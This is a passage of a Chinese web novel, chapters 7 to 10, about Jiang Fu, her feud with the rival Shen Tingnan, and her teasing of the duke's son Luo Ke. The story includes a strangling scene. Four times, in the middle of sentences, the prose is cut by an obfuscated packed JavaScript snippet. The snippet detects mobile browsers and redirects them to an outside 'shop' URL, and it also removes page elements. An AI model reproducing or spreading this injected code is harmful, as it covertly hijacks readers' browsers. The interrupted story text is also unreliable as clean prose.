“我从记事起就没见过那个舅舅。我们没钱,从洛城到光州走路去太久,变数多,到了光州,袁家也不一定收留我们,人生地不熟,活下去更难。更何况,蒋文行那个老登还活着,我还没让他尝到害死我母亲的代价呢。” “现在就像是机会撞到头上来,让我为母亲报仇。今日我蒋芙人微言轻,但成了公女伴读以后,我努力积累人脉,攀上几个大人物,十年,十年之后,我一定有本事把他们弄死!” 张闵沉默。 蒋芙道:“你去沈听南家,把我那天落在她家的那身衣服拿回来。” “……” 蒋芙见他在原地不走,仰头看他:“怎么,是想跟我分道扬镳不好意思说吗?” “没事,你随便说。我本来也没把你当过我家的下人,再说,你效忠的人是我娘。如今我娘死了,你就当自己恢复自由身了,不用管我。” “也不用惦记我娘死前那几句话,你就当没听见。” 张闵蓦地开口:“蒋芙,我没想走。” 蒋芙脸上平静无波,她现在只有在说报仇的事的时候会有些鲜活的表情。 “那你想干什么?和沈听南在一起?这个你只要把她那边搞定,我没意见。” 张闵似有烦躁,别开头。 “我什么都没想。倒是你,是为了骆岢公子吗?” 蒋芙费解看他:“我为什么要为了骆岢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282510|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 她想通了:“哦,你想说的是,我还在想以纠缠公子岢为由,让沈听南难看的事?你提醒了我,去,你既然不想走,就继续为我跑腿。” “你去沈听南家帮我取衣服,顺便告诉她,我马上就要去郡公府给公子岢的妹妹做伴读了。近水楼台先得月,说不定什么时候,我就能让公子岢迷上我……” 张闵不说话,蒋芙推他:“快去!既然你不想走,跟在我身边就得忍着,帮我报复沈听南!不帮我干活,你以后就别跟着我了!” 张闵离开后,蒋芙继续收拾。 她想,骆岢其实算是她命里的贵人。 她借他这个大齐少女梦中情人的美名,公开表白,毁了自己的名声,摧毁老登悄无声息把她卖给变态肥猪的计划。 现在,她又借了他妹妹的光,以后外出,还能蹭个郡公之女伴读的身份。别人再想动她,就得掂量掂量公女的面子。 但平白无故,她怎么就被公女看中做伴读? 也许还和那天宴席上她公开和骆岢表白有关。 他家是想把她给骆岢做妾,还是想把公子岢的污点抹掉? 前者的话,蒋芙要想办法婉拒。她受不了那种和沈听南一样死装死装的人,要是给他做妾,一定每天都恶心得要死。 如果是后者,郡公府想要杀她。她与郡公府身份差距过大,洛城是洛郡公的封地,而她只是洛城的一个平民百姓。想杀她实在简单,没必要借用伴读身份。 不管原因是什么,走一步看一步。 若真的是杀局,她就把蒋文行和金员外拉下水,说一切都是受他们指使。 给他们扣一个什么罪名呢? 就从诛九族的罪名里随便挑一个。 张闵回来以后,把衣服送到卧房便走。 他在赌气。但就算生气,他也不会离开蒋芙身边,直到消气才会重新出现在她面前。 蒋芙觉得他抽风,懒得理他,把东西收拾进包袱里,就坐在院子里等。 她一想到沈听南听说自己去骆岢家里当伴读的事,就觉得快意,这是一种小人得志的感觉,很肤浅,但非常爽。 正爽着,郡公府里的人便来了。 小厮殷勤把她的行李接过,放在后一辆马车里。 他引着蒋芙坐上头前的马车,“娘子上车,车里有点心和茶水,若有招待不周,还请谅解。” “多谢。” “娘子客气。” 蒋芙从小厮掀起的车帘空隙中钻进车,车内光线较外面昏暗一些,入眼是一双款式有些熟悉的绣鞋,鞋头用了兰花纹样。 她心里急速跳了一下,抬头,正是素净打扮,对她浅笑的沈听南,女子略施粉黛,却美得极致。 “芙芙,几日没见面,你瘦了好多。” “你为什么在这?”蒋芙口上虽这么问,心里已经有了答案。 果不其然,她说。 “是郡公大人让我去为公女做伴读的。”她假装惊讶,“那天芙芙让张郎君来取衣服时说了你也要去做伴读,我还和张郎君说起这事了。怎的……他没告诉你?你们又吵架了?” 张闵。 蒋芙无声咬着这个名字,两个字。 等下车,到没人的地方,她就要把他提出来打一顿。 这么重要的事,为什么不告诉她? 8. 第 8 章 “我自然知道。”蒋芙神色不变。 “张闵一回来就跟我说了。我只是惊讶,发生了那些事,你还能和我坐一辆马车,你不是有御赐的存兰马车吗,为什么不坐?” 沈听南无辜道:“是芙芙把我想得狭隘了。你我之间,本就是我亏欠于你。公子的事,芙芙也只是表白心意,并未真的做什么,我还能不相信你吗?” 蒋芙冷笑:“你要是相信我,你来做伴读干什么?” 沈听南仍然微笑:“芙芙,在我面前这样便罢了,在外面切记,话不要说得太过。我为何不能信你呢?区区一个芙芙,无才无貌,身世草贱,还不值得我自乱阵脚。我来给公女做伴读,只是遵循郡公大人的吩咐。” 她话音缓慢,每个字都柔情百转,外人看不出纰漏。 但蒋芙知道,她破防了。 “你说你是遵循郡公的吩咐,也就是说,我的伴读身份不是郡公大人给的了?我无才无貌,身世比草贱,但是我偏偏让那个人注意到我了。你沈听南大名鼎鼎,怎么不见他多跟你说一句话啊?” 沈听南笑意零落,眼神冰了下来。 蒋芙语气加重:“我告诉你沈听南,没人想跟你比这个!我蒋芙的价值从来不是靠一个男人决定的!你如果不上赶着得罪我,我懒得跟你作对!如今我孑然一身,只想安安分分混口饭吃,别再把你那些小心思用到我身上!以后我们桥归桥路归路,就当从不认识,你爱怎么样就怎么样!但如果,你之后还花心思挤兑我,就别怪我不客气,给你的路捣乱了!” 沈听南听到“以后算不认识”那里,肩膀便僵住,听到最后,凄然一笑。“我哪有什么路,不过也是苟延残喘,活着罢了。” 蒋芙最看不惯她这副自怜的样子。 “我承认,你的确有你的烦恼,因为你想要的太多了。你长得好看,那些人为了你的容貌,把你捧到高处。你迫切于改变家世的不对等,不惜结交一些位高权重的蠢货。可就算如此,也改变不了你身上流淌的血,你在一些人眼里永远都卑贱。但那又算什么,跟别人,跟我比起来算什么?你如果放得下,就一干二净,全身轻松,你不放下,就是自讨苦吃,这不都是你自己选的吗?别整天说那些自我陶醉的话,好像全天下都对不起你似的,我听着真恶心!” 沈听南无声流泪,清丽的脸上出现了违和恨意。 蒋芙冷眼瞧她,嘴角勾着讽刺的笑。 一滴泪落到车厢地上,沈听南忽然扑来,冰冻般的手扣住蒋芙的脖子。 她手上凉软,皮肤细腻,攥在脖子上的力气却不小。 蒋芙两手拼命掰,都没有掰开。 窒息让大脑充血,蒋芙用脚踹车壁,试图引起外面的注意,但是没有回音。 “放弃吧,芙芙,没有人能救你,马车外面听不到的。” 沈听南温柔道,“你运气好,咱们正走在集市里,有人家成亲,在吹喜乐呢。对,你现在可能听不见。” “你总是这样,遇见事情求别人救。你……为什么不能求求我呢?” “……!!” 脖子上的力气终于松动,沈听南叹气收手,极其怜惜的样子:“呀!芙芙,你在家里怎么受了这么重的伤?是伯父找人伤害的你吗?我听张闵说,伯父那天拿刀想杀了你……” 蒋芙捂着脖子剧烈咳嗽,脸憋得青紫,怒火让五脏六腑和大脑熔化在一起。 “你……什么时候有这么大的力气……上次……” 上次在母亲遗体前,蒋芙想杀她,她都没有反抗。 她力气这样大,竟一直在隐藏吗? “哈……” 蒋芙向后靠着软垫。 缓过来以后,她声音已受损发哑:“沈听南,我本来想跟你一刀两断的。” 沈听南眼泪还在落,语气软婉:“你永远别想和我一刀两断。” 蒋芙眼神放空:“神经病。你给我等着,早晚有一天,我让你生不如死。” 下马车,蒋芙用帕子将露在外面的掐痕遮住。 小厮感到奇异,没说什么。 沈听南掐她的事,注定要吃一次哑巴亏了。她没人告状,就算告了,也会被沈听南和她的拥护者们说成她故意伪造伤口污蔑,因为大家眼中的沈娘子是那么柔弱善良。 一路上,她走得孤独。明明是一起走的,但是她就是感觉身边的人都站在沈听南那边。 “沈娘子!”一道稚嫩的女声由远传来,转眼间,面前便跑来一个梳双髻的女孩。她头上戴着粉玉做的玉兰簪,价值连城的玉饰,被如此平常戴在头上,蒋芙自忖她永远都不会有这么一天。 沈听南熟练接了骆沁的拥抱,与她弯身相视而笑,柔软美好的笑脸与方才马车中冰冷诡谲的一面判若两人。 “沁儿像是又长高了。” “有吗?真的有吗?” “有啊。” 骆沁甜蜜蜜笑,美眸转向一旁不语的蒋芙。 与沈听南站在一起,蒋芙容貌逊色许多,不怎么起眼,但是就是这样一个小娘子,敢在天子面前向她哥求爱。 骆沁眼中钦佩,视线向下,落在她的脖子:“咦,这位便是蒋娘子吧?脖子这是怎的了?” 蒋芙恭敬道:“出门遇见一个疯子,疏于防备被伤到,公女不必忧心。” 骆沁体贴道:“既然来了我身边,以后就是朋友了,肯定要忧心啊。” “星星,去给蒋娘子拿些消肿去痕的药来。” 侍女星星应声,步伐很快离开。 “蒋娘子闺名为何?我叫骆沁,娘子以后和听南姐一样,叫我沁儿便好。” “好的,沁儿,我叫蒋芙。” 骆沁满意蒋芙落落大方的态度,她不喜欢别人对她客气,最好身边所有人都和她做朋友,打成一片才好。 “芙姐。” 骆沁一手牵她们一个,“明天老师才来教课,今天闲着也是闲着,我带你们在我家里转转吧。” “看,那边就是我爹的芙蕖园,和前些日子的赏荷筵宴比,荷花开得如何?” 骆沁专注看花,每朵花都用手摸一摸,像对待老朋友。 “那日我想去来着,但家里有贵客,就没能出门。” 蒋芙注视这个还没长开,相貌就有惊人之势的女孩。如果她再大上一两岁,大齐第一美人的位置就不一定容得沈听南来做了。 骆沁含笑看她:“芙姐看我做什么?” 蒋芙道:“见公女美貌,不禁想起一句诗。” “什么诗?” “人面桃花相映红。如今虽不是桃花,粉荷倒也应景。荷花美,公女让荷花变得更美。” 骆沁清脆笑了,“芙姐说话好听。不是说了叫我沁儿吗,怎么还叫我公女?” 她不自觉走近蒋芙一些:“这是哪里的诗,我没听过,芙姐能否给我再背两句?” 蒋芙自然答应。 她背着崔护的唐诗,在这个历史之外平行世界的朝代。 流传千古的诗句,回荡在美不胜收的园林,余韵悠长,遐想无穷。 骆沁无声品味。 沈听南道:“说起诗句,忽然想起上次与沁儿在元香家相见时,沁儿说要给我看的画像了。” 骆沁回想了一下,两手合在一起:“啊!想起来了,还要请听南姐帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282511|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我题诗呢!这几天就是要送出去的日子了。不行!” 她对蒋芙抱歉:“不好意思,芙姐,我得带听南姐回房一趟,你自己先在我家里随意逛逛好吗?等下星星给你带药回来,她就带你去房间了!” 蒋芙看了沈听南一眼,对方朝她歉意一笑,再找不出在马车里失控的模样。 “好啊,我在这里赏赏花也很开心的。” 目送两人离开,蒋芙松了端着的力气,沿着荷塘走了两步,趴在有树荫遮挡的栏杆上。 她只装了一会,就觉得很累。沈听南时时刻刻都要装,所以她疯了。 她们之间的争斗永远都是老模式。 蒋芙单打独斗,精准报复得罪自己的人。沈听南则喜欢借力打力,和她起争执,永远找第三个人创造一个新的矛盾来打压她。 过去蒋芙不管这些,谁和她作对,她就干谁。 现在不同了,如果公女次次都站在沈听南那边,她就要思考怎样在不得罪公女的情况下,让她在她们的事上置身事外了。 张闵不知从哪出现,摘她脖子上的手帕。 蒋芙一下眼睛发酸。 “为什么掐自己?你……” “……” 蒋芙咬着嘴唇,用力打了他几掌,冲着一脸莫名的张闵发火:“滚!你给我滚!” “问都不问就觉得是我!我有病我掐我自己?我还没跟你算账!你这个狗东西!为什么之前不告诉我沈听南也来给公女做伴读?为什么我在家里遭遇的事,你敢跟沈听南说?你到底是谁的人?你是她埋伏在我身边的眼线吗?以后你不用跟着我了!自生自灭去吧,我死了也不用你保护!” 她拂袖欲走,手腕被张闵抓住。 他眼中似有愤怒:“蒋芙,你总说这种话。” 蒋芙更加恶心:“你在指责我?就凭你也敢指责我?我为什么说这样的话?我以为你在意我!以为你关心我!可你哪次不照样给我泼冷水,我问过一次你为什么那么对我吗?” “你跟沈听南一个死样子,天造地设的一对!做完恶心我的事,还敢来我这装可怜,好像我多对不起你们一样!都滚!滚啊!” “对!你之前!不是问我为什么不离开,来郡公府给公女做伴读吗?我现在告诉你,我就是为了骆岢,为了她哥!你满意了吗?” 张闵攥她手腕的力气变大。 蒋芙感到可笑:“张闵你别在这给我装!你这副表情是想表达什么?你要是喜欢我,当初和沈听南私下拉拉扯扯做什么?这么多年过去,你跟我解释过吗?现在我有了其他喜欢的人,你倒出来找存在感了!你省省吧!喜欢也给我憋回去!我看咱们的情分也就到这了!以后你别再找我了!” 蒋芙背过身,面朝荷塘,一阵压抑的沉默。 她想了很多过去的事,决定念在娘和云姨的面子上放过他。更重要的是,万一他过于愤怒,动手打她就坏了。 “行了,你走吧。” 没人回答。 张闵早已不见人影,不知去哪。 “……哈!” 蒋芙重新趴回栏杆上,低头,烦躁拨弄荷叶。 满塘荷叶如丛,她指尖点着叶片,鼻息间笼罩清新淡雅的荷香。 现在她身边是真的一个人也没有了。 没有就没有,总比身边留着别人的间谍好。她也没那个兴趣和死对头男朋友搞好关系。都滚吧。 拨弄的动作不小心用力,荷叶掀动之下,蒋芙看到一片衣摆,以及衣摆下面的小巧舟身。 她心头一紧,将身子更多探出去,看到了重重荷叶之下睡着的青衣美人。 这是骆岢。 9. 第 9 章 蒋芙保持半倒挂的姿势,眯眼看这个不太该出现在这里的人。 之所以用“不太”,留了一些余地,是因为这里是他家,他出现在哪都理所当然。 她回想自己方才说话的音量,清了清嗓子,用了同等大小的声音叫:“喂!” 骆岢依旧合目,若不是呼吸的起伏,他就像画里的人,青衣,散发,扁舟。青色穿在他身上,衬得他皮肤更加白得清透,山眉朱唇,美得让人不敢亵渎。 除蒋芙以外。 她恶趣味朝他伸手,因着姿势向下,手未到,衣袖先落,扫在人的脸上。 骆岢仍一动不动。 蒋芙心中怀疑,他到底是真睡着了,还是在跟她装睡。 她又叫了两声:“公子?公子?” 加以威胁:“你再不醒,我可就要对你胡作非为了?” 还是没有反应。 蒋芙说到做到,又往下够了够,脚踩到栏杆的坎上。 女子修剪圆润、没有一丝杂质的指甲划过骆岢浓密的眉毛,从眉头到眉尾,沿着额角,摸他的眼睛。 好大的一颗眼珠子,眼皮鼓起的弧度像花瓣一样。 蒋芙嫉妒地想,怎么他哪都长得这么好,烦到极致,揪他脸皮泄愤。 手下之人早就在她的摸索之下紧张到僵硬,压抑呼吸,脸上耳尖一寸寸变热。 “奇怪了,”她故意道,“睡着的人,还会出汗吗?” “感觉臭臭的,好脏啊。” “……” 蒋芙得意看着骆岢怒而不敢言的模样。实际上,他并无汗意,碰起来温温软软,味道也很好闻,光是挨了这么几下,蒋芙的身上便跟着染上了兰香。 她将手在他衣领处蹭了蹭,视线划过他脖子上的凸起,好奇要碰,手腕终于被他忍无可忍捉住。 “蒋娘子……” 蒋芙笑了,装道:“公子,你摸我的手干什么?” 骆岢脸红得彻底,立即松了手,小舟跟着他晃,带动了周围一圈荷叶。 “我……” 到郎中处取清痕消肿之药的星星回来,刚好看到蒋芙挂在栏杆上弯腰向下的一幕,吓了一跳,连忙跑近:“蒋娘子!有话好好好说!别寻短见!” 蒋芙将脸上恶意笑容收敛起来,换成羞涩的神情:“我没……我刚刚只是在这赏荷,不知怎的,手被人握住,有些害怕,结果……” 星星踮脚去看。 结果,荷塘里是自家公子在划船纳凉。 星星脸色登时拉了下来:“蒋娘子,你莫要胡说!我们公子岂是不懂分寸的郎君?不说我家公子,整个洛城的郎君摆在这,都不会随便拉小娘子手的!” 蒋芙道:“我没撒谎,不信你问你家公子,他刚刚牵没牵我的手?” 星星很有信心地也趴到栏杆上,向自家公子求证。 却见骆岢面红耳赤,垂头一言不发。换做以往,公子听到这种污蔑,定会比她还要生气。可如今他连反驳都没有——怕是真的! 娘啊! 星星整个人木在那里,感受到无与伦比的心碎。 骆岢辩无可辩。 他拉了蒋芙的手是事实,蒋芙没有撒谎。但,那是因为蒋芙先不顾男女大防,对他动手动脚。可她对他动手动脚,是想印证他到底有没有听到她和别人说话。 而他听到了。 君子不听墙角之语,不听门外之声。 如果说出去,他如何向世人解释自己的窃听之举?虽并非有意,但听到就是听到。 星星再开口,仿佛一瞬间成长了许多。 她沉稳道:“我先带娘子去住处,为娘子的患处上药。” 蒋芙跟着她走,没走两步,星星停了一下,一脸痛心疾首。 “今日公子对蒋娘子所作所为,我会全部上报给郡公,公子自己看着办罢!” 骆岢:“……” 蒋芙回头给他比心:“爱你哦,骆岢公子!我喜欢你的!不过下次牵手还请要记得和我先商量哦!” 骆岢举世无双的面容顿时青红交加,眼里浮现几分遮掩不掉的怨愤。 蒋芙欺负完人,神清气爽。 从沈听南和张闵那里受到的气,全部都从骆岢那里找回来了。他遇见她,算他倒霉。 送蒋芙回住处的路上,星星叮嘱不停:“蒋娘子,就算你对公子有意,也要对自己多加上心!这世上的男子都烂透了,我原本以为我们公子是不同的,如今一看,他亦是本性难移,竟然光天化日之下对小娘子动手动脚!你放心,我一定告到郡公那里去,还蒋娘子一个公道!” 蒋芙添柴加火:“还是算了,其实,我心里装的都是公子,他对我做什么都无所谓的。” 星星道:“蒋娘子!他不珍惜你,不对你好,就不是你的良配啊!今日敢随便摸你的手,明日就敢咬你的嘴!” 她未发育成的胸口起起伏伏,显然气得不轻:“我真的没想到公子会是这种人!若不是娘子,我不知还要被他的伪装蒙骗多久!他平日里那样文雅!” 蒋芙面上作楚楚可怜状,心中却想,郡公府高门望族,家中养的下人竟如此天真烂漫,这到底是个怎样的地方。 蒋芙在郡公府的住处有两间房,一间用来待客和读书,一间用来寝居,旁边的大院子便是公女的住处,对门住的是沈听南。 郡公府管事给她拨了两个丫鬟伺候起居。 星星道:“蒋娘子往后就是她们的主子了,给她们起个名字吧。” 蒋芙没想过自己能有丫鬟伺候,还有命名权。 她问两个丫鬟姓什么,一个说姓李,一个说姓赵。 蒋芙道:“那以后就叫你们小李和小赵吧。” 小李和小赵行礼应声。 星星给蒋芙脖子上的掐痕上药,骂了伤她的人几句:“谁这么狠的心,娘子这样细弱的脖子都舍得掐,再用几分力气,怕是都要折了!” 蒋芙听她埋怨,感受到久违的温暖,眼眶有些湿润。 “谢谢你。” 星星愣一下,站住步子,无奈道:“娘子客气什么呢。我先回去了,小李小赵有用的不方便的地方,就打发来找我,我帮娘子!” 小李和小赵自然没有用得不方便的地方。作为郡公府里挑出来侍奉外人的丫鬟,她们手脚麻利,嘴也严实。 蒋芙被两人从里到外伺候一遍,舒舒服服地送进榻上。 帷帐被小李拉下。 “娘子舟车劳顿,小赵找来了安神的香,娘子可要点上?” 蒋芙道:“可以,谢谢。” “娘子不必道谢。” 这边蒋芙睡下,另一边,沈听南也为公女题完诗,回了住处。 进门前,她望了好一会儿蒋芙的院子,忧心她的伤势。 蒋芙说话太难听,她一时没控制住怒气动手,也不知她现在还难不难受。 她一定恨她恨到不行了。 没关系,她说了那些话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282512|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张闵也要被她恨。 她不能和芙芙同心,那谁都别想接近芙芙一步。 进到屋里,有人似乎等她等了好久。 沈听南微微一笑,回头将伺候的丫鬟留在外面,一个人走了进去。 “张郎君,又见面了,你找我有什么事啊。” 张闵一贯没什么表情,颇有冷感,如今却面带怒容。 “是你伤的她?” 沈听南捋了捋披帛,漫不经心道:“听不懂你在说什么。” 她情绪不佳时,和蒋芙的模样几乎重叠。 蒋芙客气时,也和她恍如一个模子刻出。 张闵掐住沈听南的脖子,将人从地上提了起来,直到掐痕与蒋芙身上深度一致,才松手放了她。 沈听南跌坐在地,不停咳嗽,大口喘息。 屋外丫鬟听见了,担忧道:“娘子!怎的了?可否需要我们进去!” 丫鬟将要推门,沈听南及时开口:“不用,我吃呛了东西,没关系的,你们去忙吧。” 两个丫鬟还是不放心,又问了几句,才去忙各自的。 沈听南摇晃着从地上站起来,整理衣服:“张郎君还是一如既往知分寸,我伤了芙芙多少,你便还我多少。” “没有下一次,不然我杀了你。” 这话像蒋芙威胁人说的,但由张闵说出口,真实性不言而喻。 沈听南笑出声来:“你杀了我试试?芙芙这辈子都不会原谅你。你以为我对于芙芙是什么?嬢嬢去了,我就是芙芙心里分量最重的人,你杀我,你这辈子都别想在芙芙心里翻身。” 张闵沉默。 “还不走吗,张郎君?念在你我旧识一场,我才替你隐瞒行踪。你再不走,我可就帮不过去了。” “你以后,不要挑拨我和她的关系。” 他能想到“挑拨”这个词,也算是进步了。沈听南略提起一些警惕:“张郎君言重了,我只是说出实情,何来挑拨?” “是你问我蒋芙状况,说要安慰,最后却拿来当作把柄激怒她!” “听不懂你说什么。” 张闵无理可讲,无话可说,负气从后窗跳了出去。 沈听南看着敞开的窗,心情轻快了一些,因为现在最倒霉的不是她了。 她柔声道:“若竹,能帮我弄些茶水来吗?” “好的娘子。” 晚饭时候,郡公一家在饭桌前用膳。 问起两个伴读的事,骆沁欢快回应:“都接来了,两个姐姐都很好!我很喜欢!哥哥也喜欢!” 郡公眉毛一抬:“哦?” 他瞥见儿子脸色难看起来。 “你哥哥喜欢哪个姐姐?” 骆岢皱眉道:“父亲,不可妄言!怎能在背后污女儿家清白!” 星星冷脸道:“公子莫急,污蔑女儿家清白的并非郡公大人。” 骆岢:“……” 骆沁憋笑着清了清嗓子,两个小酒窝挂在脸颊上:“爹,我跟你说,今天我和沈娘子有事先离开,留蒋娘子一人在芙蕖园赏花。然后……” “然后如何?” “然后哥哥也在,他在荷塘里泛舟,趁蒋娘子不注意,摸人家手!” 骆岢面红耳赤:“住口!” 郡公震撼看向儿子。 “这,阿岚,其中可否有隐情?” 骆岢脸色铁青,从座位上起身,话语千回百转,最后:“……没有!” “……” 10. 第 10 章 郡公府从宫中请来的女师是几十年前颇负盛名的才女,曾随昭定公主出嫁氐族,默遍被窃前朝古籍,将失传史书带回大齐,如今仍是独身。 蒋芙听女师的故事,想,原来女子成就达到了一定地步,就算在封建时代,也可以不用嫁人,做主自己的事。 如果她也这样努力的话,往后做成了事,是不是就再也没有人敢随意轻待她了?到那时,向死爹报仇,或许只是一句话的事。 吃过早饭,蒋芙将郡公府总管送来的衣裳套在身上。 鹅黄襦衫搭配云水色束胸长裙,裙摆上绣有银线云纹,走动起来浮光流金,别有意趣。为了搭配这身裙子,小赵给蒋芙梳了交心髻,两侧各插了花簪。 穿戴完毕,蒋芙揽镜自照,认为自己被打扮到了一定水准,出门时比以往矜持了一些。 但到了公女院子,见到如团月般和美的骆沁,与穿了一身素洁粉裙,便美得闭月羞花的沈听南,她就老实了。 随便,她就这个死样子,长得没人家好看不能活吗? 女师叶登风马车来府,三人皆出去行礼。 叶师父先扶了公女,与她客套:“先前在如因公主跟前见到沁儿,便心生亲近,还要感谢郡公赐老身这一段缘分,与沁儿成了师徒。” 骆沁亲亲热热拉叶师父手,对谁都一样甜蜜:“沁儿也感谢老师,不辞辛劳,从长安来了洛城!” 叶师父问沈听南:“最近诗赋如何了?” 沈听南笑盈盈一礼:“已将老师此前提过的书都背过了,老师可要检查几句?” 叶师父满意点头:“你我最是信得过了,我那里还有如因公主给你的东西,课后随我回住处转交给你。” 听到公主送自己东西,沈听南惊讶过后,复又行礼:“多谢老师,我有些日子没见公主了。” 骆沁皱了皱鼻子,佯装生气道:“听南姐之前不是还说,有我一个知心小娘子便好吗?怎的今天又对公主殿下魂牵梦萦了?” 沈听南无奈:“沁儿……” 骆沁笑开,师徒三人其乐融融。 蒋芙面无表情看着,垂在身侧的手不自觉搓了搓裙子。 被人冷待的滋味不好受,蒋芙觉得有些没面子,但是今时今日,在骆沁与叶师父面前,哪里有她发脾气的地方。 几人叙旧完,叶师父才注意到在场的人里有蒋芙般,不咸不淡地招呼了她一句:“是蒋娘子吧?” 蒋芙恭敬行礼:“老师好。” “既然来了,就和公女一起学些正经的,莫要心思活络,再妄想其他的事。” “……是。” 蒋芙眼中泛起厌恶。 忍不下去,只能把头放得更低。 被区别对待和瞧不起了。 她以为这般出色的女性不会如此。叶登风能忍受茹毛饮血,身处异乡卧薪尝胆,带回汉地失传之史,却也与平常人没差别。 捧高踩低。 ……谁让她真的就低人一等。 不对,蒋芙自己可以说自己不好,但别人不行! 凭什么?就凭一个姓氏,一张皮囊,一身血? 她是蒋芙,就连喜欢一个人都要是“妄想”? 她明明很好,懂得很多他们不懂的,为什么不能有一个眼睛好用的人留在她身边发现她,欣赏她? 课上讲的东西没怎么听进去,无非是一些规矩与诗词,无聊透顶。 下了课,沈听南随着叶师父一起去找魏如因给她的东西,留蒋芙和骆沁在课室里。 骆沁问她:“芙姐不开心吗?” 蒋芙当然不开心,这节课她们几人异常合拍,只有她一个人在沉默。但是她如今仰仗公女生活,岂能流露任何不满。 蒋芙道:“并未,多谢公女关怀。” “怎么不叫我沁儿呢。” 骆沁嘀咕了一句,脸上又露出笑:“芙姐,你在这坐着,我马上回来!” 说完,小女孩跑出了屋子。 没人在室内,蒋芙脸色阴冷,回忆方才没人瞧得起她的事,自顾自生气。 珠帘碰撞在一起的清脆声响起,蒋芙侧头,见来人是骆岢。 她还沉浸在被排挤的郁闷里,看到是谁便翻了个白眼,往相反的方向挪了挪,心中酸溜溜的嫉妒。 骆岢这边因着上次的事,对蒋芙亦是没什么好脸色,当作没看见她,视若无物地坐到桌前。 骆沁叫他来这,说有不懂的课业要问。如今他好不容易腾出功夫过来,她倒不在这。 蒋芙张嘴打哈欠,没长手一般,用力眨眼眨掉眼泪。鹅黄襦衫穿在她身上,嫩绒绒的,真的宛如一只小鹅般娇憨。 只是她为人太过喜怒无常,上次那般对他时还笑吟吟的,如今一夜过去,她又表现出初见时对他的厌恶了。相处之间,他才是被挤兑的那一个,他有说她什么吗? 想着这些无甚重要的事,骆岢忽然反应过来,骆沁叫他来这一出,很有可能是在撮合他和蒋芙。她估计是不会再回来了。 想通这点,骆岢沉下脸色起身,走之前好心告知:“蒋娘子也先回去吧,今日之事,是小妹胡闹。她年岁尚小,娘子不要和她一般见识。” 蒋芙拉着脸看他:“什么胡闹?你是说我被人耍了吗?” 就算是骆沁有错,但被他并无好感的蒋芙如此说,骆岢仍有不快。 “娘子这话有些本末倒置,若不是娘子谎称心悦于我,我妹妹还不至于与你戏耍。” “……”蒋芙从椅子上跳下来,快步走到他身边,一把抓住他的袖子。 “什么叫不至于?公子岢,你又瞧不起人被我抓到了。” “忘了你还有什么把柄抓在我手上吗?你什么语气在和我说话?” 骆岢冷脸质问:“娘子不妨说说,我有何把柄?” 蒋芙当然没有他的把柄。她顾左右而言他,专心骂人。 “你们这些人,都是一副嘴脸!他们尚且真实难能可贵,只有你,你最虚伪!最恶心人!” 她想起了骆岢在城中的声名,拿出来敲打他:“我听说你被别人吹捧为无双公子了。真是让人笑掉大牙,别人敢取你就敢认,也不掂量掂量你几斤几两。只有皮相在外迷惑别人的人,你拿什么称自己为无双?” “我告诉你,家世,钱财,相貌,都是身外之物!世界上最可贵的从来不是俗世里的成就,而是你自己的品性,和甘心为你奉献的追随之人。你这种虚伪小人,这辈子都不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282513|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这种体验,我真怜悯你!” 骆岢难以置信地看蒋芙,对方指着鼻子骂完他以后,连停留对峙的心思都不屑有,转头便走了。 只留他一人在原地气得心脏乱跳。 他没有那个意思,没有瞧不起她的意思,从未有那种意思! 但她却在心里对他深恶痛绝。 骆岢此前从未体会到被人厌恶的感觉,他捉摸不透蒋芙为什么会讨厌他到这个地步。如果是最初,他拒绝了她……但她根本喜欢的就不是他! 他听见了她和那个男人的对话,他被用作挡箭牌来气他。 况且此前两人从不相识,他拒绝又留足了情面,还有哪里值得她记恨? 罢了,不过是无足轻重的陌路人。 蒋芙骂完骆岢,心里平静很多。 用鼻子看人的人,这世道里遍地都是。但除了骆岢以外,她谁都得罪不起。这种可恶的人,就是该见一次骂一次。 回到住处,蒋芙和小李说自己晚上想吃什么就去睡了。为了见这个叶师父,她起得很早准备,结果一点没用,还一直被她们串通一气冷落一顿。 